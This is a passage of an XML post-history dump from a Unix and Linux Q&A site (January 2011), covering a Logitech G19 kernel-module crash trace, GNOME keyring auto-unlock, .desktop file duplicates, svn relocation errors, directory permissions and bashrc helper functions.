http://www.themudcrab.com/acronis_grub4dos.php&#xD;&#xA;  [2]: http://blogold.chinaunix.net/u3/113851/showart_2311251.html" />
  <row Id="15321" PostHistoryTypeId="2" PostId="6670" RevisionGUID="94565fff-9655-4b6a-8ab2-4fc3bb272930" CreationDate="2011-01-30T10:26:03.533" UserId="4325" Text="On Windows, there is an option to click on a button in the display properties called like &quot;Identify Displays&quot;, it then shows a number over each monitor for a few seconds so that you know which display is which. Is there something similar in Linux?&#xD;&#xA;&#xD;&#xA;I am running Arch, and have six (6) identical LCD flat panels, 3 dual head NVidia cards. So you can imagine why I ask :P" />
  <row Id="15322" PostHistoryTypeId="1" PostId="6670" RevisionGUID="94565fff-9655-4b6a-8ab2-4fc3bb272930" CreationDate="2011-01-30T10:26:03.533" UserId="4325" Text="Show Display Numbers on each Display" />
  <row Id="15323" PostHistoryTypeId="3" PostId="6670" RevisionGUID="94565fff-9655-4b6a-8ab2-4fc3bb272930" CreationDate="2011-01-30T10:26:03.533" UserId="4325" Text="éxorgàéarchölinuxàénvidiaà" />
  <row Id="15324" PostHistoryTypeId="2" PostId="6671" RevisionGUID="3850b74d-e388-4005-a958-669367ec14aa" CreationDate="2011-01-30T11:07:35.370" UserId="1571" Text="I have a custom kernel module that I compiled from this [patch][1] that adds support for the `logitech G19` keyboard among other G series devices. I compiled it just fine against Ubuntu's maverick kernel's master branch (2.6.35).&#xD;&#xA;&#xD;&#xA;I can boot and load the module, but I'm running into a really strange situation. As soon as I load the module (either on boot or through modprobe), I get a black screen and my console locks up.&#xD;&#xA;&#xD;&#xA;The weird part is that it doesn't lock my system up, it's just the current console session. I can SSH into my box, and it gives me a terminal and a session. And I can type, and I can even run a command and it gives me the output. It then draws my next prompt and immediately locks up. &#xD;&#xA;&#xD;&#xA;I see in `dmesg` that there's a null pointer, and I get the following stacktrace:&#xD;&#xA;&#xD;&#xA;    [  956.215836] input: Logitech G19 Gaming Keyboard as /devices/pci0000:00/0000:00:1d.7/usb1/1-2/1-2.1/1-2.1.2/1-2.1.2:1.1/input/input5&#xD;&#xA;    [  956.216023] hid-g19 0003:046D:C229.0004: input,hiddev97,hidraw3: USB HID v1.11 Keypad [Logitech G19 Gaming Keyboard] on usb-0000:00:1d.7-2.1.2/input1&#xD;&#xA;    [  956.216065] input: Logitech G19 as /devices/pci0000:00/0000:00:1d.7/usb1/1-2/1-2.1/1-2.1.2/1-2.1.2:1.1/input/input6&#xD;&#xA;    [  956.216128] Registered led device: g19_97:orange:m1&#xD;&#xA;    [  956.216146] Registered led device: g19_97:orange:m2&#xD;&#xA;    [  956.216178] Registered led device: g19_97:orange:m3&#xD;&#xA;    [  956.216198] Registered led device: g19_97:red:mr&#xD;&#xA;    [  956.216216] Registered led device: g19_97:red:bl&#xD;&#xA;    [  956.216235] Registered led device: g19_97:green:bl&#xD;&#xA;    [  956.216259] Registered led device: g19_97:blue:bl&#xD;&#xA;    [  956.216872] Console: switching to colour frame buffer device 40x30&#xD;&#xA;    [  956.216899] BUG: unable to handle kernel NULL pointer dereference at 000000000000001c&#xD;&#xA;    [  956.216903] IP: [&lt;ffffffffa040b21b&gt;] sys_imageblit+0x21b/0x4ec [sysimgblt]&#xD;&#xA;    [  956.216911] PGD 273554067 PUD 2726ca067 PMD 0 &#xD;&#xA;    [  956.216914] Oops: 0000 [#1] SMP &#xD;&#xA;    [  956.216917] last sysfs file: /sys/devices/pci0000:00/0000:00:1d.7/usb1/1-2/1-2.1/1-2.1.2/1-2.1.2:1.1/usb/hiddev1/uevent&#xD;&#xA;    [  956.216921] CPU 5 &#xD;&#xA;    [  956.216922] Modules linked in: hid_g19(+) led_class hid_gfb fb_sys_fops sysimgblt sysfillrect syscopyarea btrfs zlib_deflate crc32c libcrc32c ufs qnx4 hfsplus hfs minix ntfs vfat msdos fat jfs xfs exportfs reiserfs snd_hda_codec_atihdmi snd_hda_intel snd_hda_codec snd_hwdep snd_pcm snd_seq_midi snd_rawmidi snd_seq_midi_event snd_seq snd_timer snd_seq_device ioatdma snd i5000_edac soundcore snd_page_alloc psmouse edac_core i5k_amb shpchp serio_raw dca ppdev parport_pc lp parport usbhid hid floppy e1000e&#xD;&#xA;    [  956.216953] &#xD;&#xA;    [  956.216956] Pid: 3147, comm: modprobe Not tainted 2.6.35-26-generic #46 DSBF-DE/System Product Name&#xD;&#xA;    [  956.216959] RIP: 0010:[&lt;ffffffffa040b21b&gt;]  [&lt;ffffffffa040b21b&gt;] sys_imageblit+0x21b/0x4ec [sysimgblt]&#xD;&#xA;    [  956.216963] RSP: 0018:ffff8802766db738  EFLAGS: 00010246&#xD;&#xA;    [  956.216965] RAX: 0000000000000000 RBX: ffff880273e71000 RCX: ffff880272e93b40&#xD;&#xA;    [  956.216968] RDX: 0000000000000007 RSI: 0000000000000010 RDI: ffff880272e93b40&#xD;&#xA;    [  956.216970] RBP: ffff8802766db7d8 R08: 0000000000000000 R09: ffff880272e93b98&#xD;&#xA;    [  956.216972] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000&#xD;&#xA;    [  956.216974] R13: 0000000000000010 R14: 0000000000000008 R15: ffff8802766db8c8&#xD;&#xA;    [  956.216977] FS:  00007fcae7725700(0000) GS:ffff880001f40000(0000) knlGS:0000000000000000&#xD;&#xA;    [  956.216979] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b&#xD;&#xA;    [  956.216981] CR2: 000000000000001c CR3: 000000026ba26000 CR4: 00000000000006e0&#xD;&#xA;    [  956.216983] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000&#xD;&#xA;    [  956.216986] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400&#xD;&#xA;    [  956.216988] Process modprobe (pid: 3147, threadinfo ffff8802766da000, task ffff8802696a16e0)&#xD;&#xA;    [  956.216990] Stack:&#xD;&#xA;    [  956.216991]  ffff8802766db778 ffffffff810746ae ffff8802766db700 ffff88026b2cadc0&#xD;&#xA;    [  956.216994] &lt;0&gt; ffff8802766db778 ffffffff812beef9 ffff8802f66db947 ffff8802766db94f&#xD;&#xA;    [  956.216998] &lt;0&gt; ffff8802766db848 00000000812bf22e ffff880272e93b40 ffffffff812feb40&#xD;&#xA;    [  956.217001] Call Trace:&#xD;&#xA;    [  956.217011]  [&lt;ffffffff810746ae&gt;] ? send_signal+0x3e/0x90&#xD;&#xA;    [  956.217018]  [&lt;ffffffff812beef9&gt;] ? put_dec+0x59/0x60&#xD;&#xA;    [  956.217023]  [&lt;ffffffff812feb40&gt;] ? fbcon_resize+0xd0/0x230&#xD;&#xA;    [  956.217027]  [&lt;ffffffffa04175da&gt;] gfb_fb_imageblit+0x1a/0x30 [hid_gfb]&#xD;&#xA;    [  956.217031]  [&lt;ffffffff813051b9&gt;] soft_cursor+0x1c9/0x270&#xD;&#xA;    [  956.217034]  [&lt;ffffffff81304e8b&gt;] bit_cursor+0x65b/0x6c0&#xD;&#xA;    [  956.217037]  [&lt;ffffffff812c1796&gt;] ? vsnprintf+0x316/0x5a0&#xD;&#xA;    [  956.217043]  [&lt;ffffffff81061045&gt;] ? try_acquire_console_sem+0x15/0x60&#xD;&#xA;    [  956.217046]  [&lt;ffffffff81300ca8&gt;] fbcon_cursor+0x1d8/0x340&#xD;&#xA;    [  956.217049]  [&lt;ffffffff81304830&gt;] ? bit_cursor+0x0/0x6c0&#xD;&#xA;    [  956.217054]  [&lt;ffffffff81368139&gt;] hide_cursor+0x29/0x90&#xD;&#xA;    [  956.217057]  [&lt;ffffffff8136b078&gt;] redraw_screen+0x148/0x240&#xD;&#xA;    [  956.217060]  [&lt;ffffffff8136b42e&gt;] bind_con_driver+0x2be/0x3b0&#xD;&#xA;    [  956.217063]  [&lt;ffffffff8136b569&gt;] take_over_console+0x49/0x70&#xD;&#xA;    [  956.217066]  [&lt;ffffffff812ff7fb&gt;] fbcon_takeover+0x5b/0xb0&#xD;&#xA;    [  956.217069]  [&lt;ffffffff81303ca5&gt;] fbcon_event_notify+0x5c5/0x650&#xD;&#xA;    [  956.217076]  [&lt;ffffffff8158e7f6&gt;] notifier_call_chain+0x56/0x80&#xD;&#xA;    [  956.217080]  [&lt;ffffffff8108510a&gt;] __blocking_notifier_call_chain+0x5a/0x80&#xD;&#xA;    [  956.217084]  [&lt;ffffffff81085146&gt;] blocking_notifier_call_chain+0x16/0x20&#xD;&#xA;    [  956.217089]  [&lt;ffffffff812f366b&gt;] fb_notifier_call_chain+0x1b/0x20&#xD;&#xA;    [  956.217092]  [&lt;ffffffff812f4c8c&gt;] register_framebuffer+0x1ec/0x2e0&#xD;&#xA;    [  956.217098]  [&lt;ffffffff814084f8&gt;] ? usb_init_urb+0x28/0x40&#xD;&#xA;    [  956.217101]  [&lt;ffffffffa041790f&gt;] gfb_probe+0x21f/0x4f0 [hid_gfb]&#xD;&#xA;    [  956.217107]  [&lt;ffffffffa0425778&gt;] g19_probe+0x558/0xedc [hid_g19]&#xD;&#xA;    [  956.217115]  [&lt;ffffffff811c059c&gt;] ? sysfs_do_create_link+0xec/0x210&#xD;&#xA;    [  956.217128]  [&lt;ffffffffa00330c7&gt;] hid_device_probe+0x77/0xf0 [hid]&#xD;&#xA;    [  956.217131]  [&lt;ffffffff81388aa2&gt;] ? driver_sysfs_add+0x62/0x90&#xD;&#xA;    [  956.217134]  [&lt;ffffffff81388bc8&gt;] really_probe+0x68/0x190&#xD;&#xA;    [  956.217138]  [&lt;ffffffff81388d35&gt;] driver_probe_device+0x45/0x70&#xD;&#xA;    [  956.217140]  [&lt;ffffffff81388dfb&gt;] __driver_attach+0x9b/0xa0&#xD;&#xA;    [  956.217143]  [&lt;ffffffff81388d60&gt;] ? __driver_attach+0x0/0xa0&#xD;&#xA;    [  956.217146]  [&lt;ffffffff81388008&gt;] bus_for_each_dev+0x68/0x90&#xD;&#xA;    [  956.217149]  [&lt;ffffffff81388a3e&gt;] driver_attach+0x1e/0x20&#xD;&#xA;    [  956.217151]  [&lt;ffffffff813882fe&gt;] bus_add_driver+0xde/0x280&#xD;&#xA;    [  956.217154]  [&lt;ffffffff81389140&gt;] driver_register+0x80/0x150&#xD;&#xA;    [  956.217157]  [&lt;ffffffff8158e7f6&gt;] ? notifier_call_chain+0x56/0x80&#xD;&#xA;    [  956.217161]  [&lt;ffffffffa042a000&gt;] ? g19_init+0x0/0x20 [hid_g19]&#xD;&#xA;    [  956.217166]  [&lt;ffffffffa0032913&gt;] __hid_register_driver+0x53/0x90 [hid]&#xD;&#xA;    [  956.217169]  [&lt;ffffffff81085115&gt;] ? __blocking_notifier_call_chain+0x65/0x80&#xD;&#xA;    [  956.217173]  [&lt;ffffffffa042a01e&gt;] g19_init+0x1e/0x20 [hid_g19]&#xD;&#xA;    [  956.217178]  [&lt;ffffffff8100204c&gt;] do_one_initcall+0x3c/0x1a0&#xD;&#xA;    [  956.217184]  [&lt;ffffffff8109bd9b&gt;] sys_init_module+0xbb/0x200&#xD;&#xA;    [  956.217192]  [&lt;ffffffff8100a0f2&gt;] system_call_fastpath+0x16/0x1b&#xD;&#xA;    [  956.217195] Code: 83 e1 fc 48 89 4d c8 eb d3 8b 83 14 01 00 00 83 f8 04 74 09 83 f8 02 0f 85 7b 01 00 00 48 8b 4d b0 48 8b 83 00 04 00 00 8b 51 10 &lt;44&gt; 8b 04 90 8b 51 14 8b 3c 90 44 8b 4d ac 45 85 c9 75 16 41 b9 &#xD;&#xA;    [  956.217218] RIP  [&lt;ffffffffa040b21b&gt;] sys_imageblit+0x21b/0x4ec [sysimgblt]&#xD;&#xA;    [  956.217221]  RSP &lt;ffff8802766db738&gt;&#xD;&#xA;    [  956.217223] CR2: 000000000000001c&#xD;&#xA;    [  956.217227] ---[ end trace 95d6c6d6913ccc79 ]---&#xD;&#xA;&#xD;&#xA;Can anyone point me in the right direction as to how to go about debugging this? &#xD;&#xA;&#xD;&#xA;The stacktrace leads me to believe that it's not the hid-g15 driver but the hid-gfb driver, which creates a frame buffer for the LCD on the keyboard. This makes sense since it's locking up my display/console but digging into the kernel code isn't really going anywhere. So much of it is assembly and macro functions.&#xD;&#xA;&#xD;&#xA;The last function on the stacktrace that involves my new code is ` gfb_fb_imageblit`. The entirety of that function is &#xD;&#xA;&#xD;&#xA;       struct gfb_data *par = info-&gt;par;&#xD;&#xA;       sys_imageblit(info, image);&#xD;&#xA;       gfb_fb_update(par);&#xD;&#xA;&#xD;&#xA;Am I reading the stacktrace wrong? Am I missing something? Any tips on how to debug this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://al.robotfuzz.com/~al/g15/kernel-driver/0001-Logitech-G-series-support.patch&#xD;&#xA;" />
  <row Id="15325" PostHistoryTypeId="1" PostId="6671" RevisionGUID="3850b74d-e388-4005-a958-669367ec14aa" CreationDate="2011-01-30T11:07:35.370" UserId="1571" Text="Null pointer in custom kernel module. Where should I start?" />
  <row Id="15326" PostHistoryTypeId="3" PostId="6671" RevisionGUID="3850b74d-e388-4005-a958-669367ec14aa" CreationDate="2011-01-30T11:07:35.370" UserId="1571" Text="ékernelàédebuggingàékernelömodulesà" />
  <row Id="15327" PostHistoryTypeId="25" PostId="6670" RevisionGUID="09217e64-6a02-447a-be65-3dd6180e28ad" CreationDate="2011-01-30T11:16:08.830" Comment="http://twitter.com/#!/StackUnix/status/31672003832315905" />
  <row Id="15328" PostHistoryTypeId="2" PostId="6672" RevisionGUID="698e244e-7ff1-4264-bc64-beff5bbfd455" CreationDate="2011-01-30T13:17:02.450" UserId="250" Text="I emailed the author of the distro and was told that `dd`ing the content of the ISO to the hard drive *might* work. So I'm all backed up and trying that right now. I think this makes an answer, whether it works or not. I will update this after seeing the result." />
  <row Id="15329" PostHistoryTypeId="2" PostId="6673" RevisionGUID="d72b8fc3-b8fd-4047-8b05-828518d14c3c" CreationDate="2011-01-30T13:17:22.517" UserId="3397" Text="I setup my box for auto-login and it does this on every login. In my case it's nm-applet/network-manager family of apps.&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;btw the problem has been around for some time, evidently some half-fix got undone during a package upgrade, but i digress...one solution is here: http://ubuntuforums.org/showthread.php?t=320308&#xD;&#xA;&#xD;&#xA;WHATEVER is causing the problem you could add after login but before everything else: a script with libpam-gnome-keyring to unlock it...the package to get this tool is: libpam-gnome-keyring at least in 11.04&#xD;&#xA;&#xD;&#xA;and the &quot;bugs&quot; on bugzilla are probably being continually given priority of low because it's only for autologin users. it doesn't happen &quot;out of the box&quot; only due to customization. just trying to help you understand why it seems like the devs don't care. it's not a coding problem, it's...well...something else.&#xD;&#xA;&#xD;&#xA;proof video that it is nm-applet is here: http://vimeo.com/19350519&#xD;&#xA;&#xD;&#xA;it us queued for converting right now, but it should be ready shortly&#xD;&#xA;" />
  <row Id="15330" PostHistoryTypeId="5" PostId="6673" RevisionGUID="cf4aae6c-5ed4-44c2-902b-12e5e1f24d83" CreationDate="2011-01-30T13:27:01.213" UserId="3397" Comment="deleted 73 characters in body" Text="I setup my box for auto-login and it does this on every login. In my case it's nm-applet/network-manager family of apps.&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;btw the problem has been around for some time, evidently some half-fix got undone during a package upgrade, but i digress...one solution is here: http://ubuntuforums.org/showthread.php?t=320308&#xD;&#xA;&#xD;&#xA;WHATEVER is causing the problem you could add after login but before everything else: a script with libpam-gnome-keyring to unlock it...the package to get this tool is: libpam-gnome-keyring at least in 11.04&#xD;&#xA;&#xD;&#xA;and the &quot;bugs&quot; on bugzilla are probably being continually given priority of low because it's only for autologin users. it doesn't happen &quot;out of the box&quot; only due to customization. just trying to help you understand why it seems like the devs don't care. it's not a coding problem, it's...well...something else.&#xD;&#xA;&#xD;&#xA;proof video that it is nm-applet is here: http://vimeo.com/19350519&#xD;&#xA;" />
  <row Id="15331" PostHistoryTypeId="5" PostId="6673" RevisionGUID="20d55e46-15cc-4883-abf8-96ab08a3fd61" CreationDate="2011-01-30T13:42:57.593" UserId="3397" Comment="added 219 characters in body; deleted 315 characters in body" Text="I setup my box for auto-login and it does this on every login. In my case it's nm-applet/network-manager family of apps.&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;btw the problem has been around for some time, evidently some half-fix got undone during a package upgrade, but i digress...one solution is here: http://ubuntuforums.org/showthread.php?t=320308&#xD;&#xA;&#xD;&#xA;WHATEVER is causing the problem you could add after login but before everything else: a script with libpam-gnome-keyring to unlock it...the package to get this tool is: libpam-gnome-keyring at least in 11.04  &#xD;&#xA;&#xD;&#xA;&lt;code&gt;  &#xD;&#xA;\#!/bin/bash  &#xD;&#xA;\#launch useful stuff for gnome #first unlock the default keyring...  &#xD;&#xA;echo | /usr/libexec/pam-keyring-tool -u -s  &#xD;&#xA;\#then run nm-applet in the background...  &#xD;&#xA;nm-applet &amp;  &#xD;&#xA;&lt;/code&gt;  &#xD;&#xA;&#xD;&#xA;proof video that it is nm-applet is here: http://vimeo.com/19350519&#xD;&#xA;" />
  <row Id="15332" PostHistoryTypeId="5" PostId="6672" RevisionGUID="4b23b864-2691-44c1-898d-ff098a390795" CreationDate="2011-01-30T14:04:19.283" UserId="250" Comment="added 310 characters in body" Text="I emailed the author of the distro and was told that `dd`ing the content of the ISO to the hard drive *might* work. So I'm all backed up and trying that right now. I think this makes an answer, whether it works or not. I will update this after seeing the result.&#xD;&#xA;&#xD;&#xA;Update: This actually works, to the extend that it gives me a working system on the local hard drive. I haven't checked how persistent the system is (whether the data stay there after shutting down). The disk is left in an &quot;unpartitioned, invalid&quot; state so I don't think this counts as a full installation." />
  <row Id="15333" PostHistoryTypeId="25" PostId="6671" RevisionGUID="72f73b67-c242-4526-8785-0065899da96c" CreationDate="2011-01-30T14:16:08.923" Comment="http://twitter.com/#!/StackUnix/status/31717302806249472" />
  <row Id="15334" PostHistoryTypeId="2" PostId="6674" RevisionGUID="03a79628-dff2-4641-b518-09b525861dc8" CreationDate="2011-01-30T14:33:36.553" UserId="457" Text="Use a subshell: `(su -c 'psql -U postgres -c &quot;&lt;command&gt;&quot;' postgres) &gt; file`&#xD;&#xA;&#xD;&#xA;Inside the subshell you can drop permissions to do your work, but output is redirected to your original shell which still has your original permissions." />
  <row Id="15335" PostHistoryTypeId="2" PostId="6675" RevisionGUID="ed75938a-e463-43e8-b70e-a8ed7b647ff6" CreationDate="2011-01-30T16:41:29.283" UserId="3069" Text="This list gets created by analyzing .desktop files located at:&#xD;&#xA;&#xD;&#xA;    /usr/share/applications&#xD;&#xA;    ~/.local/share/applications&#xD;&#xA;&#xD;&#xA;There might be more than one usecase per application, take for example the media player `banshee` which has three .desktop files by default:&#xD;&#xA;&#xD;&#xA;    $ ls -1 /usr/share/applications/banshee*&#xD;&#xA;    /usr/share/applications/banshee-1-audiocd.desktop&#xD;&#xA;    /usr/share/applications/banshee-1.desktop&#xD;&#xA;    /usr/share/applications/banshee-1-media-player.desktop&#xD;&#xA;&#xD;&#xA;The only difference between those files is the starting parameter and the MimeType list.&#xD;&#xA;&#xD;&#xA; - `banshee-1.desktop`: General media files&#xD;&#xA; - `banshee-1-audiocd.desktop`: Audio CD's&#xD;&#xA; - `banshee-1-media-player.desktop` Audio player (Also used by `rhythmbox`, `vlc`, and others)&#xD;&#xA;&#xD;&#xA;So we have three 'Banshee Media Player' in the 'Open with' list (and maybe also in the 'Main Menu').&#xD;&#xA;&#xD;&#xA;The other way of filling this space is by creating personal .desktop files in `~/.local/share/applications`. Either manually or by using a tool. `alacarte` (or right-click on 'Main Menu' -&gt; 'Edit Menu') is one of those.&#xD;&#xA;&#xD;&#xA;Every time you create or move an application within `alacarte`, a new .desktop file gets placed inside `~/.local/share/applications`. Disabling an application will &quot;remove&quot; it from the 'Main Menu', but not from the 'Open with' list.  &#xD;&#xA;But the 'Delete' button does, by creating a identical copy from `/usr/share/applications` into `~/.local/share/applications` and adding `Hidden=true` to the .desktop file, thus &quot;overwriting&quot; the system-wide inherited values.&#xD;&#xA;&#xD;&#xA;Deleting two of those entries from `alacarte` results in: &#xD;&#xA;&#xD;&#xA;    $ ls -1 ~/.local/share/applications/banshee*&#xD;&#xA;    /home/user/.local/share/applications/banshee-1-audiocd.desktop&#xD;&#xA;    /home/user/.local/share/applications/banshee-1-media-player.desktop&#xD;&#xA;&#xD;&#xA;Removing any entries from `~/.local/share/applications` will reverse to the preexisting state (three `banshee` items).&#xD;&#xA;&#xD;&#xA;If you really don't have any duplicates in those two folders, try removing any duplicates from `alacarte` or playing with the `Hidden=true` option in the corresponding .desktop files." />
  <row Id="15336" PostHistoryTypeId="25" PostId="6579" RevisionGUID="05b9774e-316c-4c09-91e5-d756989437ae" CreationDate="2011-01-30T17:16:09.423" Comment="http://twitter.com/#!/StackUnix/status/31762603554377728" />
  <row Id="15337" PostHistoryTypeId="5" PostId="6672" RevisionGUID="7f4a8e79-4cc4-446f-bbd8-4e6b6c2dc10b" CreationDate="2011-01-30T17:42:14.793" UserId="250" Comment="deleted 26 characters in body" Text="I emailed the author of the distro and was told that `dd`ing the content of the ISO to the hard drive *might* work. So I'm all backed up and trying that right now. I think this makes an answer, whether it works or not. I will update this after seeing the result.&#xD;&#xA;&#xD;&#xA;Update: This actually works, to the extend that it gives me a working system on the local hard drive. The file system is volatile (all changes are gone after shutting down). The disk is left in an &quot;unpartitioned, invalid&quot; state so I don't think this counts as a full installation." />
  <row Id="15338" PostHistoryTypeId="5" PostId="6673" RevisionGUID="b29a1404-217f-4a31-a6cd-3441f034c453" CreationDate="2011-01-30T19:03:04.183" UserId="3397" Comment="added 19 characters in body" Text="I setup my box for auto-login and it does this on every login. In my case it's nm-applet/network-manager family of apps.&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;btw the problem has been around for some time, evidently some half-fix got undone during a package upgrade, but i digress...one solution is here: http://ubuntuforums.org/showthread.php?t=320308&#xD;&#xA;&#xD;&#xA;WHATEVER is causing the problem you could add after login but before everything else: a script with libpam-gnome-keyring to unlock it...the package to get this tool is: libpam-gnome-keyring at least in 11.04  &#xD;&#xA;&#xD;&#xA;&lt;code&gt;  &#xD;&#xA;\#!/bin/bash  &#xD;&#xA;\#launch useful stuff for gnome #first unlock the default keyring...  &#xD;&#xA;echo YOUR_PASSWORD_HERE | /usr/libexec/pam-keyring-tool -u -s  &#xD;&#xA;\#then run nm-applet in the background...  &#xD;&#xA;nm-applet &amp;  &#xD;&#xA;&lt;/code&gt;  &#xD;&#xA;&#xD;&#xA;proof video that it is nm-applet is here: http://vimeo.com/19350519&#xD;&#xA;" />
  <row Id="15339" PostHistoryTypeId="5" PostId="6673" RevisionGUID="35ce9e54-7c78-4d30-97cd-bb5954109cf8" CreationDate="2011-01-30T19:07:21.380" UserId="3069" Comment="deleted 1 characters in body; added 26 characters in body" Text="I setup my box for auto-login and it does this on every login. In my case it's nm-applet/network-manager family of apps.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;btw the problem has been around for some time, evidently some half-fix got undone during a package upgrade, but i digress...one solution is [here][1]&#xD;&#xA;&#xD;&#xA;WHATEVER is causing the problem you could add after login but before everything else: a script with libpam-gnome-keyring to unlock it...the package to get this tool is: libpam-gnome-keyring at least in 11.04  &#xD;&#xA; &#xD;&#xA;    #!/bin/bash  &#xD;&#xA;    #launch useful stuff for gnome #first unlock the default keyring...  &#xD;&#xA;    echo YOUR_PASSWORD_HERE | /usr/libexec/pam-keyring-tool -u -s  &#xD;&#xA;    #then run nm-applet in the background...  &#xD;&#xA;    nm-applet &amp;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Proof video that it is nm-applet is [here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=320308&#xD;&#xA;  [2]: http://vimeo.com/19350519" />
  <row Id="15340" PostHistoryTypeId="5" PostId="6658" RevisionGUID="7215b49e-27b6-433b-8631-1e5a4cc7589c" CreationDate="2011-01-30T19:09:25.497" UserId="885" Comment="protect special characters in file names" Text="This should be a suitable replacement:&#xD;&#xA;&#xD;&#xA;`grep -l foo * | sed -e 's/[^/0-9A-Z_a-z]/\\&amp;/g' | xargs sed -i 's/foo/bar/g'`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15341" PostHistoryTypeId="2" PostId="6676" RevisionGUID="71f85969-9753-4a2e-a6bc-9ef62599dcba" CreationDate="2011-01-30T19:12:17.147" UserId="4329" Text="I am trying to switch to a new SVN repository.&#xD;&#xA;&#xD;&#xA;I currently have the following checkout:&#xD;&#xA;&#xD;&#xA;    $ svn info&#xD;&#xA;    svn+ssh://some.server.edu/home/name/svn-repositories/proj/trunk&#xD;&#xA;&#xD;&#xA;Now I wanted to switch, but I get an error:&#xD;&#xA;&#xD;&#xA;    $ svn switch --relocate \&#xD;&#xA;      svn+ssh://some.server.edu/home/name/svn-repositories/proj/trunk \&#xD;&#xA;      https://subversion.assembla.com/svn/name/trunk/proj .&#xD;&#xA;    svn: The repository at 'https://subversion.assembla.com/svn/name/trunk/proj' &#xD;&#xA;    has uuid '...', but the WC has '...'&#xD;&#xA;&#xD;&#xA;I thought the whole point of `svn switch --relocate` was that there are two repositories with different uuids? How can I correctly switch to the new repos?&#xD;&#xA;&#xD;&#xA;BTW, the directories should be correct: The old `proj/trunk` and the new `trunk/proj` contain exactly the same files etc.:&#xD;&#xA;&#xD;&#xA;    $ svn ls https://subversion.assembla.com/svn/&lt;name&gt;/trunk/proj&#xD;&#xA;    foo.txt&#xD;&#xA;    $ svn ls svn+ssh://some.server.edu/home/name/svn-repositories/proj/trunk&#xD;&#xA;    foo.txt&#xD;&#xA;&#xD;&#xA;I am using svn 1.6.5 on the Mac." />
  <row Id="15342" PostHistoryTypeId="1" PostId="6676" RevisionGUID="71f85969-9753-4a2e-a6bc-9ef62599dcba" CreationDate="2011-01-30T19:12:17.147" UserId="4329" Text="svn switch --relocate: wrong uuid?" />
  <row Id="15343" PostHistoryTypeId="3" PostId="6676" RevisionGUID="71f85969-9753-4a2e-a6bc-9ef62599dcba" CreationDate="2011-01-30T19:12:17.147" UserId="4329" Text="ésubversionà" />
  <row Id="15344" PostHistoryTypeId="5" PostId="6654" RevisionGUID="854446a9-d1bc-428b-b23f-5b7858e981e8" CreationDate="2011-01-30T19:15:17.627" UserId="885" Comment="clarified wording (hopefully)" Text="If I run `chmod 770 ./folderName`, then users who are not the owner or in the group owning `./folderName` (i.e. users in the “others” category) cannot access `./folderName/folderB` or `./folderName/fileC`, even after running:&#xD;&#xA;&#xD;&#xA;    chmod 777 ./folderName/folderB &#xD;&#xA;    chmod 777 ./folderName/fileC&#xD;&#xA;&#xD;&#xA;Right? Does that rule applies to all Linux distributions? Thank you." />
  <row Id="15345" PostHistoryTypeId="6" PostId="6654" RevisionGUID="854446a9-d1bc-428b-b23f-5b7858e981e8" CreationDate="2011-01-30T19:15:17.627" UserId="885" Comment="clarified wording (hopefully)" Text="épermissionsàédirectoryà" />
  <row Id="15346" PostHistoryTypeId="6" PostId="6644" RevisionGUID="4035aedf-d82b-49c2-8841-7b4743413a6f" CreationDate="2011-01-30T19:21:23.077" UserId="885" Comment="edited tags" Text="éscriptingàénautilusàéclipboardàéfileömanagementà" />
  <row Id="15347" PostHistoryTypeId="6" PostId="6662" RevisionGUID="07502a45-b377-4e99-b393-9b58c1d104f9" CreationDate="2011-01-30T19:27:24.053" UserId="885" Comment="edited tags" Text="élinuxàékernelàédriversàékernelömodulesà" />
  <row Id="15348" PostHistoryTypeId="6" PostId="6671" RevisionGUID="a416ce47-a740-4112-8d73-4a62b6692bdb" CreationDate="2011-01-30T19:36:14.540" UserId="885" Comment="edited tags" Text="élinuxàékernelàédebuggingàékernelömodulesà" />
  <row Id="15349" PostHistoryTypeId="2" PostId="6677" RevisionGUID="4f788720-3400-45fc-81d2-691d0d3fa36b" CreationDate="2011-01-30T19:39:01.427" UserId="2648" Text="I  mess up with my bashrc since i use terminal a lot (it makes me learn fast and learn interesting stuff to use as well as interesting tools). I ususally define a lots of functions in my bashrc. Examples:&#xD;&#xA;&#xD;&#xA;Extract archives:&#xD;&#xA;&#xD;&#xA;    extract () {&#xD;&#xA;    libextract () {&#xD;&#xA;    if [ -f &quot;$1&quot; ] ; then&#xD;&#xA;      case &quot;$1&quot; in&#xD;&#xA;        *.tar.bz2) tar xjf &quot;$1&quot; ;;&#xD;&#xA;        *.tar.gz)  tar xzf &quot;$1&quot; ;;&#xD;&#xA;        *.bz2) bunzip2 &quot;$1&quot; ;;&#xD;&#xA;        *.rar) rar x &quot;$1&quot; ;;&#xD;&#xA;        *.gz) gunzip &quot;$1&quot; ;;&#xD;&#xA;        *.tar) tar xf &quot;$1&quot; ;;&#xD;&#xA;        *.tbz2) tar xjf &quot;$1&quot; ;;&#xD;&#xA;        *.tgz) tar xzf &quot;$1&quot; ;;&#xD;&#xA;        *.zip) unzip &quot;$1&quot; ;;&#xD;&#xA;        *.Z) uncompress &quot;$1&quot; ;;&#xD;&#xA;        *.7z) 7z x &quot;$1&quot; ;;&#xD;&#xA;        *) echo &quot;$1 ne moze biti raspakovan!&quot; ;;&#xD;&#xA;      esac&#xD;&#xA;    else&#xD;&#xA;      echo &quot;$1 nije validan fajl&quot;&#xD;&#xA;    fi&#xD;&#xA;    }&#xD;&#xA;     echo &quot;Unesite putanju do direktorijuma u kome se nalaze arhive: &quot; &amp;&amp; read dir &amp;&amp; dirprovera &amp;&amp; cd $dir&#xD;&#xA;      for f in *&#xD;&#xA;        do&#xD;&#xA;          mkdir ./$f-raspakovano &amp;&amp; cd ./$f-raspakovano&#xD;&#xA;          libextract ./../$f&#xD;&#xA;          cd ./../&#xD;&#xA;        done&#xD;&#xA;      tipka&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;rename files and 